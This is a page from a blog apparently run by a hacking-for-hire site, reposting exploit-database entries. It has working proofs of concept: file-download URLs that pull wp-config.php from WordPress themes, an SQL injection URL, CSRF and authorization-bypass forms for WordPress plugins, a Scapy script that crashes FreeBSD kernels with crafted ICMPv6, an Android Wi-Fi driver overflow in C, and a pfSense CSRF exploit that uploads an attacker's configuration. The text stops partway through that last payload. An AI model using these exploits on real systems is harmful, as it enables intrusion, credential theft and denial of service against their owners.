Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863283249

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
source: https://www.securityfocus.com/bid/69525/info

Mozilla Firefox and Thunderbird are prone to an information-disclosure vulnerability.

Attackers can exploit this issue to disclose sensitive information that may aid in further attacks.

This issue is fixed in:

Firefox 32
Firefox ESR 31.1
Thunderbird 31.1 

<style>
body {
  background-color: #d0d0d0;
}

img {
  border: 1px solid teal;
  margin: 1ex;
}

canvas {
  border: 1px solid crimson;
  margin: 1ex;
}
</style>

<body onload="set_images()">

<div id="status">
</div>

<div id="image_div">
</div>

<canvas height=32 width=32 id=cvs>
</canvas>

<h2>Variants:</h2>

<ul id="output">
</ul>

<script>
var c = document.getElementById('cvs');
var ctx = c.getContext('2d');

var loaded = 0;
var image_obj = [];
var USE_IMAGES = 300;

function check_results() {

  var uniques = [];

  uniques.push(image_obj[0].imgdata);

  document.getElementById('output').innerHTML += 
    '<img src="' + image_obj[0].imgdata + '">';

  for (var i = 1; i < USE_IMAGES; i++) {

    if (image_obj[0].imgdata != image_obj[i].imgdata) {

      for (var j = 1; j < uniques.length; j++)
        if (uniques[j] == image_obj[i].imgdata) break;

      if (j == uniques.length) {

        uniques.push(image_obj[i].imgdata);

        document.getElementById('output').innerHTML += 
          '<img src="' + image_obj[i].imgdata + '">';


      }


    }

  }

  if (uniques.length > 1)
    alert('The image has ' + uniques.length + ' variants when rendered. Looks like you have a problem.');
  else
    alert('The image has just one variant when rendered. You\'re probably OK.');

}


function count_image() {

  loaded++;

  ctx.clearRect(0, 0, 32, 32);

  try {
    ctx.drawImage(this, 0, 0, 32, 32);
  } catch (e) { }

  this.imgdata = c.toDataURL();

  if (loaded == USE_IMAGES) check_results();

}


function set_images() {

  loaded = 0;
  create_images();

  for (var i = 0; i < USE_IMAGES; i++)
    image_obj[i].src = './id:000110,src:000023.gif?' + Math.random();

}


function create_images() {

  for (var i = 0; i < USE_IMAGES; i++) {

    image_obj[i] = new Image();
    image_obj[i].height = 32;
    image_obj[i].width = 32;
    image_obj[i].onerror = count_image;
    image_obj[i].onload = count_image;

    document.getElementById('image_div').appendChild(image_obj[i]);

  }

}


</script>


<iframe src='http://www.example.com/'></iframe>
HireHackking 
source: https://www.securityfocus.com/bid/69672/info

Epic theme for Wordpress is prone to an arbitrary file-download vulnerability.

An attacker can exploit this issue to download arbitrary files from the web server and obtain potentially sensitive information. 

http://www.example.com/wp-content/themes/epic/includes/download.php?file=/home/content/46/8992446/html/wp-config.php
HireHackking 
source: https://www.securityfocus.com/bid/69673/info

Antioch theme for Wordpress is prone to an arbitrary file-download vulnerability.

An attacker can exploit this issue to download arbitrary files from the web server and obtain potentially sensitive information. 

http://www.example.com/wp-content/themes/antioch/lib/scripts/download.php?file=../../../../../wp-config.php
HireHackking 
source: https://www.securityfocus.com/bid/69675/info

Spider Facebook plugin for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Spider Facebook 1.0.8 is vulnerable; other versions may also be affected. 

http://www.example.com/wordpress/wp-admin/admin.php?page=Spider_Facebook_manage&task=Spider_Facebook_edit&id=1 and 1=2
HireHackking 
source: https://www.securityfocus.com/bid/69741/info

WP to Twitter Plugin for WordPress is prone to an authorization-bypass vulnerability.

An attacker can exploit this issue to bypass certain security restrictions and perform unauthorized actions; this may aid in launching further attacks.

WP to Twitter 2.9.3 is vulnerable; other versions may also be affected. 

<html><body>
<form method="post" action="http://www.example.com/wordpress/wp-admin/admin-ajax.php">
action:<input name="action" value="wpt_tweet"><br>
tweet action:<input name="tweet_action" value="tweet"><br>
tweet text: <input value="" name="tweet_text"><br>
tweet schedule: <input value="undefined+undefined" name="tweet_schedule"><br>
tweet post id: <input value="1" name="tweet_post_id"><br>
<input type="submit" value="Submit">
</form>
</body></html>
HireHackking 
source: https://www.securityfocus.com/bid/69740/info

The Ninja Forms Plugin for WordPress is prone to an authorization-bypass vulnerability.

An attacker can exploit this issue to bypass certain security restrictions and perform unauthorized actions; this may aid in launching further attacks.

Ninja Forms Plugin 2.7.7 is vulnerable; other versions may also be affected. 

<html><body>
<form action="http://www.example.com/wordpress/wp-admin/admin-ajax.php" method="POST">
form id: <input name="form_id" value="1"><br>
action: <input name="action" value="ninja_forms_delete_form">
<input type="submit" value="submit">
</form>
</body></html>
HireHackking 
source: https://www.securityfocus.com/bid/69744/info

Xhanch My Twitter plugin for WordPress is prone to a cross-site request-forgery vulnerability.

An attacker can exploit the cross-site request forgery issue to perform unauthorized actions in the context of a logged-in user of the affected application. This may aid in other attacks.

Xhanch My Twitter 2.7.7 is vulnerable; other versions may also be affected. 

http://www.example.com/wordpress/?xmt_Primary_twt_id=508351521810300928
HireHackking 
source: https://www.securityfocus.com/bid/69745/info

W3 Total Cache plugin for WordPress is prone to a cross-site request-forgery vulnerability.

An attacker can exploit the cross-site request forgery issue to perform unauthorized actions in the context of a logged-in user of the affected application. This may aid in other attacks.

W3 Total Cache 0.9.4 is vulnerable; other versions may also be affected. 

http://www.example.com/wordpress/wp-admin/admin.php?page=w3tc_general&w3tc_note=enabled_edge
HireHackking 
#!/usr/bin/env python
# -*- coding: utf-8 -*-

'''
Source: http://blog.ptsecurity.com/2016/01/severe-vulnerabilities-detected-in.html

SCTP (stream control transmission protocol) is a transport-layer protocol designed to transfer signaling messages in an IP environment. As a rule, mobile operators use this protocol in technological networks.

This vulnerability threatens FreeBSD systems (versions 9.3, 10.1, and 10.2) if they support SCTP and IPv6 (default configuration). To exploit this flaw, a malefactor needs to send a specially crafted ICMPv6 message. And if he succeeds, he can conduct a DoS attack.

Denial of service is caused by improper check of the length of an SCTP packet header received from the ICMPv6 error message. If the target recipient is unavailable, the router can generate an error message and send it to the sender via ICMPv6.

This ICMPv6 packet includes the original IPv6 packet where the Next Header field indicates how SCTP is encapsulated.

When the kernel receives the error message via ICMPv6, it transfers the upper-level protocol packet to a necessary parser (sctp6_ctlinput()). The SCTP parser considers the incoming header has the required length, tries to copy it using m_copydata(), which has offset values and the number of bytes. Since a twelve-byte chunk is expected, if the attacker sends a packet with an eleven-byte header, a NULL pointer is dereferenced causing kernel panic.

There is no need for an open SCTP socket to successfully exploit this vulnerability. Scapy can help to create an ICMPv6 packet.
'''
 
import argparse
from scapy.all import *
 
 
def get_args():
    parser = argparse.ArgumentParser(description='#' * 78, epilog='#' * 78)
    parser.add_argument("-m", "--dst_mac", type=str, help="FreeBSD mac address")
    parser.add_argument("-i", "--dst_ipv6", type=str, help="FreeBSD IPv6 address")
    parser.add_argument("-I", "--iface", type=str, help="Iface")
    options = parser.parse_args()
 
    if options.dst_mac is None or options.dst_ipv6 is None:
        parser.print_help()
        exit()
 
    return options
 
 
if __name__ == '__main__':
    options = get_args()
 
    sendp(Ether(dst=options.dst_mac) / IPv6(dst=options.dst_ipv6) / ICMPv6DestUnreach() / IPv6(nh=132,
                                                                                               src=options.dst_ipv6,
                                                                                               dst='fe80::230:56ff:fea6:648c'),
          iface=options.iface)
HireHackking 
/*
 * Coder: Shawn the R0ck, [citypw@gmail.com]
 * Co-worker: Pray3r, [pray3r.z@gmail.com]
 * Compile:
 * # arm-linux-androideabi-gcc wext_poc.c --sysroot=$SYS_ROOT  -pie 
 * # ./a.out wlan0
 * Boom......shit happens[ as always];-)
*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <linux/wireless.h>
#include <errno.h>

typedef unsigned char v_U8_t;
#define HDD_MAX_CMP_PER_PACKET_FILTER     5

struct PacketFilterParamsCfg {
	v_U8_t protocolLayer;
	v_U8_t cmpFlag;
	v_U8_t dataOffset;
	v_U8_t dataLength;
	v_U8_t compareData[8];
	v_U8_t dataMask[8];
};

typedef struct {
	v_U8_t filterAction;
	v_U8_t filterId;
	v_U8_t numParams;
	struct PacketFilterParamsCfg
	    paramsData[HDD_MAX_CMP_PER_PACKET_FILTER];
} tPacketFilterCfg, *tpPacketFilterCfg;

int main(int argc, const char *argv[])
{
	if (argc != 2) {
		fprintf(stderr, "Bad usage\n");
		fprintf(stderr, "Usage: %s ifname\n", argv[0]);
		return -1;
	}

	struct iwreq req;
	strcpy(req.ifr_ifrn.ifrn_name, argv[1]);
	int fd, status, i = 0;
	fd = socket(AF_INET, SOCK_DGRAM, 0);
	tPacketFilterCfg p_req;

	/* crafting a data structure to triggering the code path */
	req.u.data.pointer =
	    malloc(sizeof(v_U8_t) * 3 +
		   sizeof(struct PacketFilterParamsCfg) * 5);
	p_req.filterAction = 1;
	p_req.filterId = 0;
	p_req.numParams = 3;
	for (; i < 5; i++) {
		p_req.paramsData[i].dataLength = 241;
		memset(&p_req.paramsData[i].compareData, 0x41, 16);
	}

	memcpy(req.u.data.pointer, &p_req,
	       sizeof(v_U8_t) * 3 +
	       sizeof(struct PacketFilterParamsCfg) * 5);

	if (ioctl(fd, 0x8bf7, &req) == -1) {
		fprintf(stderr, "Failed ioct() get on interface %s: %s\n",
			argv[1], strerror(errno));
	} else {
		printf("You shouldn't see this msg...\n");
	}

}
HireHackking 
<!--
# Exploit Title: pfSense Firewall 2.2.5 Cross-Site Request Forgery 
# Date: 23-01-2016
# Software Link: http://mirror.ancl.hawaii.edu/pub/pfSense/downloads/pfSense-2.2.5-RELEASE-1g-amd64-nanobsd.img.gz
# Exploit Author: Aatif Shahdad
# Twitter: https://twitter.com/61617469665f736
# Contact: aatif_shahdad@icloud.com
# Category: webapps
 
1. Description
   
The page diag_backup.php had CSRF checking disabled for all functions, including the restore function. As a result, a specially crafted attacker page could cause
a logged-in administrator to upload a config.xml crafted by the attacker.
   
2. Proof of Concept
 
Login as admin to the Web Console at http://192.168.0.103 (set at the time on install). Open the following Proof-Of-Concept with the browser that you used to log in to the Firewall.

POC to upload crafted config.xml:

--POC begins--

-->

<html>
  <body>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "https://192.168.0.103/diag_backup.php", true);
        xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------8271879791886716022292650152");
        xhr.withCredentials = true;
        var body = "-----------------------------8271879791886716022292650152\r\n" + 
          "Content-Disposition: form-data; name=\"backuparea\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "-----------------------------8271879791886716022292650152\r\n" + 
          "Content-Disposition: form-data; name=\"donotbackuprrd\"\r\n" + 
          "\r\n" + 
          "on\r\n" + 
          "-----------------------------8271879791886716022292650152\r\n" + 
          "Content-Disposition: form-data; name=\"encrypt_password\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "-----------------------------8271879791886716022292650152\r\n" + 
          "Content-Disposition: form-data; name=\"encrypt_passconf\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "-----------------------------8271879791886716022292650152\r\n" + 
          "Content-Disposition: form-data; name=\"restorearea\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "-----------------------------8271879791886716022292650152\r\n" + 
          "Content-Disposition: form-data; name=\"conffile\"; filename=\"config-pfSense.localdomain-20160123123616.xml\"\r\n" + 
          "Content-Type: text/xml\r\n" + 
          "\r\n" + 
          "\x3c?xml version=\"1.0\"?\x3e\n" + 
          "\x3cpfsense\x3e\n" + 
          "\t\x3cversion\x3e12.0\x3c/version\x3e\n" + 
          "\t\x3clastchange/\x3e\n" + 
          "\t\x3ctheme\x3epfsense_ng\x3c/theme\x3e\n" + 
          "\t\x3csystem\x3e\n" + 
          "\t\t\x3coptimization\x3enormal\x3c/optimization\x3e\n" + 
          "\t\t\x3chostname\x3epfSense\x3c/hostname\x3e\n" + 
          "\t\t\x3cdomain\x3elocaldomain\x3c/domain\x3e\n" + 
          "\t\t\x3cgroup\x3e\n" + 
          "\t\t\t\x3cname\x3eall\x3c/name\x3e\n" + 
          "\t\t\t\x3cdescription\x3e\x3c![CDATA[All Users]]\x3e\x3c/description\x3e\n" + 
          "\t\t\t\x3cscope\x3esystem\x3c/scope\x3e\n" + 
          "\t\t\t\x3cgid\x3e1998\x3c/gid\x3e\n" + 
          "\t\t\t\x3cmember\x3e0\x3c/member\x3e\n" + 
          "\t\t\x3c/group\x3e\n" + 
          "\t\t\x3cgroup\x3e\n" + 
          "\t\t\t\x3cname\x3eadmins\x3c/name\x3e\n" + 
          "\t\t\t\x3cdescription\x3e\x3c![CDATA[System Administrators]]\x3e\x3c/description\x3e\n" + 
          "\t\t\t\x3cscope\x3esystem\x3c/scope\x3e\n" + 
          "\t\t\t\x3cgid\x3e1999\x3c/gid\x3e\n" + 
          "\t\t\t\x3cmember\x3e0\x3c/member\x3e\n" + 
          "\t\t\t\x3cpriv\x3epage-all\x3c/priv\x3e\n" + 
          "\t\t\x3c/group\x3e\n" + 
          "\t\t\x3cuser\x3e\n" + 
          "\t\t\t\x3cname\x3eadmin\x3c/name\x3e\n" + 
          "\t\t\t\x3cdescr\x3e\x3c![CDATA[System Administrator]]\x3e\x3c/descr\x3e\n" + 
          "\t\t\t\x3cscope\x3esystem\x3c/scope\x3e\n" + 
          "\t\t\t\x3cgroupname\x3eadmins\x3c/groupname\x3e\n" + 
          "\t\t\t\x3cpassword\x3e$1$HuUrmCMQ$HcpUfJ7bi2kDoPmwaW5Hf.\x3c/password\x3e\n" + 
          "\t\t\t\x3cuid\x3e0\x3c/uid\x3e\n" + 
          "\t\t\t\x3cpriv\x3euser-shell-access\x3c/priv\x3e\n" + 
          "\t\t\t\x3cmd5-hash\x3e3a4b4c4dde494d2cec3e0ea68e437e17\x3c/md5-hash\x3e\n" + 
          "\t\t\t\x3cnt-hash\x3e3338333834323034353935373932633863623430663264336164663532353636\x3c/nt-hash\x3e\n" + 
          "\t\t\x3c/user\x3e\n" + 
          "\t\t\x3cnextuid\x3e2000\x3c/nextuid\x3e\n" + 
          "\t\t\x3cnextgid\x3e2000\x3c/nextgid\x3e\n" + 
          "\t\t\x3ctimezone\x3eEtc/UTC\x3c/timezone\x3e\n" + 
          "\t\t\x3ctime-update-interval/\x3e\n" + 
          "\t\t\x3ctimeservers\x3e0.pfsense.pool.ntp.org\x3c/timeservers\x3e\n" + 
          "\t\t\x3cwebgui\x3e\n" + 
          "\t\t\t\x3cprotocol\x3ehttps\x3c/protocol\x3e\n" + 
          "\t\t\t\x3cloginautocomplete/\x3e\n" + 
          "\t\t\t\x3cssl-certref\x3e56a352ca3e5fb\x3c/ssl-certref\x3e\n" + 
          "\t\t\x3c/webgui\x3e\n" + 
          "\t\t\x3cdisablenatreflection\x3eyes\x3c/disablenatreflection\x3e\n" + 
          "\t\t\x3cdisablesegmentationoffloading/\x3e\n" + 
          "\t\t\x3cdisablelargereceiveoffloading/\x3e\n" + 
          "\t\t\x3cipv6allow/\x3e\n" + 
          "\t\t\x3cpowerd_ac_mode\x3ehadp\x3c/powerd_ac_mode\x3e\n" + 
          "\t\t\x3cpowerd_battery_mode\x3ehadp\x3c/powerd_battery_mode\x3e\n" + 
          "\t\t\x3cpowerd_normal_mode\x3ehadp\x3c/powerd_normal_mode\x3e\n" + 
          "\t\t\x3cbogons\x3e\n" + 
          "\t\t\t\x3cinterval\x3emonthly\x3c/interval\x3e\n" + 
          "\t\t\x3c/bogons\x3e\n" + 
          "\t\t\x3ckill_states/\x3e\n" + 
          "\t\t\x3clanguage\x3een_US\x3c/language\x3e\n" + 
          "\t\t\x3cdns1gw\x3enone\x3c/dns1gw\x3e\n" + 
          "\t\t\x3cdns2gw\x3enone\x3c/dns2gw\x3e\n" + 
          "\t\t\x3cdns3gw\x3enone\x3c/dns3gw\x3e\n" + 
          "\t\t\x3cdns4gw\x3enone\x3c/dns4gw\x3e\n" + 
          "\t\t\x3cdnsserver\x3e8.8.8.8\x3c/dnsserver\x3e\n" + 
          "\t\t\x3cdnsserver\x3e8.8.8.8\x3c/dnsserver\x3e\n" + 
          "\t\t\x3cdnsallowoverride/\x3e\n" + 
          "\t\x3c/system\x3e\n" + 
          "\t\x3cinterfaces\x3e\n" + 
          "\t\t\x3cwan\x3e\n" + 
          "\t\t\t\x3cenable/\x3e\n" + 
          "\t\t\t\x3cif\x3eem0\x3c/if\x3e\n" + 
          "\t\t\t\x3cipaddr\x3edhcp\x3c/ipaddr\x3e\n" + 
          "\t\t\t\x3cipaddrv6\x3edhcp6\x3c/ipaddrv6\x3e\n" + 
          "\t\t\t\x3cgateway/\x3e\n" + 
          "\t\t\t\x3cblockbogons\x3eon\x3c/blockbogons\x3e\n" + 
          "\t\t\t\x3cmedia/\x3e\n" + 
          "\t\t\t\x3cmediaopt/\x3e\n" + 
          "\t\t\t\x3cdhcp6-duid/\x3e\n" + 
          "\t\t\t\x3cdhcp6-ia-pd-len\x3e0\x3c/dhcp6-ia-pd-len\x3e\n" + 
          "\t\t\x3c/wan\x3e\n" + 
          "\t\x3c/interfaces\x3e\n" + 
          "\t\x3cstaticroutes/\x3e\n" + 
          "\t\x3cdhcpd/\x3e\n" + 
          "\t\x3cpptpd\x3e\n" + 
          "\t\t\x3cmode/\x3e\n" + 
          "\t\t\x3credir/\x3e\n" + 
          "\t\t\x3clocalip/\x3e\n" + 
          "\t\t\x3cremoteip/\x3e\n" + 
          "\t\x3c/pptpd\x3e\n" + 
          "\t\x3csnmpd\x3e\n" + 
          "\t\t\x3csyslocation/\x3e\n" + 
          "\t\t\x3csyscontact/\x3e\n" + 
          "\t\t\x3crocommunity\x3epublic\x3c/rocommunity\x3e\n" + 
          "\t\x3c/snmpd\x3e\n" + 
          "\t\x3cdiag\x3e\n" + 
          "\t\t\x3cipv6nat\x3e\n" + 
          "\t\t\t\x3cipaddr/\x3e\n" + 
          "\t\t\x3c/ipv6nat\x3e\n" + 
          "\t\x3c/diag\x3e\n" + 
          "\t\x3cbridge/\x3e\n" + 
          "\t\x3csyslog/\x3e\n" + 
          "\t\x3cfilter\x3e\n" + 
          "\t\t\x3crule\x3e\n" + 
          "\t\t\t\x3ctype\x3epass\x3c/type\x3e\n" + 
          "\t\t\t\x3cipprotocol\x3einet\x3c/ipprotocol\x3e\n" + 
          "\t\t\t\x3cdescr\x3e\x3c![CDATA[Default allow LAN to any rule]]\x3e\x3c/descr\x3e\n" + 
          "\t\t\t\x3cinterface\x3elan\x3c/interface\x3e\n" + 
          "\t\t\t\x3ctracker\x3e0100000101\x3c/tracker\x3e\n" + 
          "\t\t\t\x3csource\x3e\n" + 
          "\t\t\t\t\x3cnetwork\x3elan\x3c/network\x3e\n" + 
          "\t\t\t\x3c/source\x3e\n" + 
          "\t\t\t\x3cdestination\x3e\n" + 
          "\t\t\t\t\x3cany/\x3e\n" + 
          "\t\t\t\x3c/destination\x3e\n" + 
          "\t\t\x3c/rule\x3e\n" + 
          "\t\t\x3crule\x3e\n" + 
          "\t\t\t\x3ctype\x3epass\x3c/type\x3e\n" + 
          "\t\t\t\x3cipprotocol\x3einet6\x3c/ipprotocol\x3e\n" + 
          "\t\t\t\x3cdescr\x3e\x3c![CDATA[Default allow LAN IPv6 to any rule]]\x3e\x3c/descr\x3e\n" + 
          "\t\t\t\x3cinterface\x3elan\x3c/interface\x3e\n" + 
          "\t\t\t\x3ctracker\x3e0100000102\x3c/tracker\x3e\n" + 
          "\t\t\t\x3csource\x3e\n" + 
          "\t\t\t\t\x3cnetwork\x3elan\x3c/network\x3e\n" + 
          "\t\t\t\x3c/source\x3e\n" + 
          "\t\t\t\x3cdestination\x3e\n" + 
          "\t\t\t\t\x3cany/\x3e\n" + 
          "\t\t\t\x3c/destination\x3e\n" + 
          "\t\t\x3c/rule\x3e\n" + 
          "\t\x3c/filter\x3e\n" + 
          "\t\x3cipsec/\x3e\n" + 
          "\t\x3caliases/\x3e\n" + 
          "\t\x3cproxyarp/\x3e\n" + 
          "\t\x3ccron\x3e\n" + 
          "\t\t\x3citem\x3e\n" + 
          "\t\t\t\x3cminute\x3e1,31\x3c/minute\x3e\n" + 
          "\t\t\t\x3chour\x3e0-5\x3c/hour\x3e\n" + 
          "\t\t\t\x3cmday\x3e*\x3c/mday\x3e\n" + 
          "\t\t\t\x3cmonth\x3e*\x3c/month\x3e\n" + 
          "\t\t\t\x3cwday\x3e*\x3c/wday\x3e\n" + 
          "\t\t\t\x3cwho\x3eroot\x3c/who\x3e\n" + 
          "\t\t\t\x3ccommand\x3e/usr/bin/nice -n20 adjkerntz -a\x3c/command\x3e\n" + 
          "\t\t\x3c/item\x3e\n" + 
          "\t\t\x3citem\x3e\n" + 
          "\t\t\t\x3cminute\x3e1\x3c/minute\x3e\n" + 
          "\t\t\t\x3chour\x3e3\x3c/hour\x3e\n" + 
          "\t\t\t\x3cmday\x3e1\x3c/mday\x3e\n" + 
          "\t\t\t\x3cmonth\x3e*\x3c/month\x3e\n" + 
          "\t\t\t\x3cwday\x3e*\x3c/wday\x3e\n" + 
          "\t\t\t\x3cwho\x3eroot\x3c/who\x3e\n" + 
          "\t\t\t\x3ccommand\x3e/usr/bin/nice -n20 /etc/rc.update_bogons.sh\x3c/command\x3e\n" + 
          "\t\t\x3c/item\x3e\n" + 
          "\t\t\x3citem\x3e\n" + 
          "\t\t\t\x3cminute\x3e*/60\x3c/minute\x3e\n" + 
          "\t\t\t\x3chour\x3e*\x3c/hour\x3e\n" + 
          "\t\t\t\x3cmday\x3e*\x3c/mday\x3e\n" + 
          "\t\t\t\x3cmonth\x3e*\x3c/month\x3e\n" + 
          "\t\t\t\x3cwday\x3e*\x3c/wday\x3e\n" + 
          "\t\t\t\x3cwho\x3eroot\x3c/who\x3e\n" + 
          "\t\t\t\x3ccommand\x3e/usr/bin/nice -n20 /usr/local/sbin/expiretable -v -t 3600 sshlockout\x3c/command\x3e\n" + 
          "\t\t\x3c/item\x3e\n" + 
          "\t\t\x3citem\x3e\n" + 
          "\t\t\t\x3cminute\x3e*/60\x3c/minute\x3e\n" + 
          "\t\t\t\x3chour\x3e*\x3c/hour\x3e\n" + 
          "\t\t\t\x3cmday\x3e*\x3c/mday\x3e\n" + 
          "\t\t\t\x3cmonth\x3e*\x3c/month\x3e\n" + 
          "\t\t\t\x3cwday\x3e*\x3c/wday\x3e\n" + 
          "\t\t\t\x3cwho\x3eroot\x3c/who\x3e\n" + 
          "\t\t\t\x3ccommand\x3e/usr/bin/nice -n20 /usr/local/sbin/expiretable -v -t 3600 webConfiguratorlockout\x3c/command\x3e\n" + 
          "\t\t\x3c/item\x3e\n" + 
          "\t\t\x3citem\x3e\n" + 
          "\t\t\t\x3cminute\x3e1\x3c/minute\x3e\n" + 
          "\t\t\t\x3chour\x3e1\x3c/hour\x3e\n" + 
          "\t\t\t\x3cmday\x3e*\x3c/mday\x3e\n" + 
          "\t\t\t\x3cmonth\x3e*\x3c/month\x3e\n" + 
          "\t\t\t\x3cwday\x3e*\x3c/wday\x3e\n" + 
          "\t\t\t\x3cwho\x3eroot\x3c/who\x3e\n" + 
          "\t\t\t\x3ccommand\x3e/usr/bin/nice -n20 /etc/rc.dyndns.update\x3c/command\x3e\n" + 
          "\t\t\x3c/item\x3e\n" + 
          "\t\t\x3citem\x3e\n" + 
          "\t\t\t\x3cminute\x3e*/60\x3c/minute\x3e\n" + 
          "\t\t\t\x3chour\x3e*\x3c/hour\x3e\n" + 
          "\t\t\t\x3cmday\x3e*\x3c/mday\x3e\n" + 
          "\t\t\t\x3cmonth\x3e*\x3c/month\x3e\n" + 
          "\t\t\t\x3cwday\x3e*\x3c/wday\x3e\n" + 
          "\t\t\t\x3cwho\x3eroot\x3c/who\x3e\n" + 
          "\t\t\t\x3ccommand\x3e/usr/bin/nice -n20 /usr/local/sbin/expiretable -v -t 3600 virusprot\x3c/command\x3e\n" + 
          "\t\t\x3c/item\x3e\n" + 
          "\t\t\x3citem\x3e\n" + 
          "\t\t\t\x3cminute\x3e30\x3c/minute\x3e\n" + 
          "\t\t\t\x3chour\x3e12\x3c/hour\x3e\n" + 
          "\t\t\t\x3cmday\x3e*\x3c/mday\x3e\n" + 
          "\t\t\t\x3cmonth\x3e*\x3c/month\x3e\n" + 
          "\t\t\t\x3cwday\x3e*\x3c/wday\x3e\n" + 
          "\t\t\t\x3cwho\x3eroot\x3c/who\x3e\n" + 
          "\t\t\t\x3ccommand\x3e/usr/bin/nice -n20 /etc/rc.update_urltables\x3c/command\x3e\n" + 
          "\t\t\x3c/item\x3e\n" + 
          "\t\x3c/cron\x3e\n" + 
          "\t\x3cwol/\x3e\n" + 
          "\t\x3crrd\x3e\n" + 
          "\t\t\x3cenable/\x3e\n" + 
          "\t\x3c/rrd\x3e\n" + 
          "\t\x3cload_balancer\x3e\n" + 
          "\t\t\x3cmonitor_type\x3e\n" + 
          "\t\t\t\x3cname\x3eICMP\x3c/name\x3e\n" + 
          "\t\t\t\x3ctype\x3eicmp\x3c/type\x3e\n" + 
          "\t\t\t\x3cdescr\x3e\x3c![CDATA[ICMP]]\x3e\x3c/descr\x3e\n" + 
          "\t\t\t\x3coptions/\x3e\n" + 
          "\t\t\x3c/monitor_type\x3e\n" + 
          "\t\t\x3cmonitor_type\x3e\n" + 
          "\t\t\t\x3cname\x3eTCP\x3c/name\x3e\n" + 
          "\t\t\t\x3ctype\x3etcp\x3c/type\x3e\n" + 
          "\t\t\t\x3cdescr\x3e\x3c![CDATA[Generic TCP]]\x3e\x3c/descr\x3e\n" + 
          "\t\t\t\x3coptions/\x3e\n" + 
          "\t\t\x3c/monitor_type\x3e\n" + 
          "\t\t\x3cmonitor_type\x3e\n" + 
          "\t\t\t\x3cname\x3eHTTP\x3c/name\x3e\n" + 
          "\t\t\t\x3ctype\x3ehttp\x3c/type\x3e\n" + 
          "\t\t\t\x3cdescr\x3e\x3c![CDATA[Generic HTTP]]\x3e\x3c/descr\x3e\n" + 
          "\t\t\t\x3coptions\x3e\n" + 
          "\t\t\t\t\x3cpath\x3e/\x3c/path\x3e\n" + 
          "\t\t\t\t\x3chost/\x3e\n" + 
          "\t\t\t\t\x3ccode\x3e200\x3c/code\x3e\n" + 
          "\t\t\t\x3c/options\x3e\n" + 
          "\t\t\x3c/monitor_type\x3e\n" + 
          "\t\t\x3cmonitor_type\x3e\n" + 
          "\t\t\t\x3cname\x3eHTTPS\x3c/name\x3e\n" + 
          "\t\t\t\x3ctype\x3ehttps\x3c/type\x3e\n" + 
          "\t\t\t\x3cdescr\x3e\x3c![CDATA[Generic HTTPS]]\x3e\x3c/descr\x3e\n" + 
          "\t\t\t\x3coptions\x3e\n" + 
          "\t\t\t\t\x3cpath\x3e/\x3c/path\x3e\n" + 
          "\t\t\t\t\x3chost/\x3e\n" + 
          "\t\t\t\t\x3ccode\x3e200\x3c/code\x3e\n" + 
          "\t\t\t\x3c/options\x3e\n" + 
          "\t\t\x3c/monitor_type\x3e\n" + 
          "\t\t\x3cmonitor_type\x3e\n" + 
          "\t\t\t\x3cname\x3eSMTP\x3c/name\x3e\n" + 
          "\t\t\t\x3ctype\x3esend\x3c/type\x3e\n" + 
          "\t\t\t\x3cdescr\x3e\x3c![CDATA[Generic SMTP]]\x3e\x3c/descr\x3e\n" + 
          "\t\t\t\x3coptions\x3e\n" + 
          "\t\t\t\t\x3csend/\x3e\n" + 
          "\t\t\t\t\x3cexpect\x3e220 *\x3c/expect\x3e\n" + 
          "\t\t\t\x3c/options\x3e\n" + 
          "\t\t\x3c/monitor_type\x3e\n" + 
          "\t\x3c/load_balancer\x3e\n" + 
          "\t\x3cwidgets\x3e\n" + 
          "\t\t\x3csequence\x3esystem_information-container:col1:show,captive_portal_status-container:col1:close,carp_status-container:col1:close,cpu_graphs-container:col1:close,gateways-container:col1:close,gmirror_status-container:col1:close,installed_packages-container:col1:close,interface_statistics-container:col1:close,interfaces-container:col2:show,ipsec-container:col2:close,load_balancer_status-container:col2:close,log-container:col2:close,picture-container:col2:close,rss-container:col2:close,services_status-container:col2:close,traffic_graphs-container:col2:close\x3c/sequence\x3e\n" + 
          "\t\x3c/widgets\x3e\n" + 
          "\t\x3copenvpn/\x3e\n" + 
          "\t\x3cdnshaper/\x3e\n" + 
          "\t\x3cunbound\x3e\n" + 
          "\t\t\x3cenable/\x3e\n" + 
          "\t\t\x3cdnssec/\x3e\n" + 
          "\t\t\x3cactive_interface/\x3e\n" + 
          "\t\t\x3coutgoing_interface/\x3e\n" + 
          "\t\t\x3ccustom_options/\x3e\n" + 
          "\t\t\x3chideidentity/\x3e\n" + 
          "\t\t\x3chideversion/\x3e\n" + 
          "\t\t\x3cdnssecstripped/\x3e\n" + 
          "\t\x3c/unbound\x3e\n" + 
          "\t\x3cvlans/\x3e\n" + 
          "\t\x3crevision\x3e\n" + 
          "\t\t\x3ctime\x3e1453547589\x3c/time\x3e\n" + 
          "\t\t\x3cdescription\x3e\x3c![CDATA[admin@192.168.0.101: System: ]]\x3e\x3c/description\x3e\n" + 
          "\t\t\x3cusername\x3eadmin@192.168.0.101\x3c/username\x3e\n" + 
          "\t\x3c/revision\x3e\n" + 
          "\t\x3cshaper/\x3e\n" + 
          "\t\x3ccert\x3e\n" + 
          "\t\t\x3crefid\x3e56a352ca3e5fb\x3c/refid\x3e\n" + 
          "\t\t\x3cdescr\x3e\x3c![CDATA[webConfigurator default (56a352ca3e5fb)]]\x3e\x3c/descr\x3e\n" + 
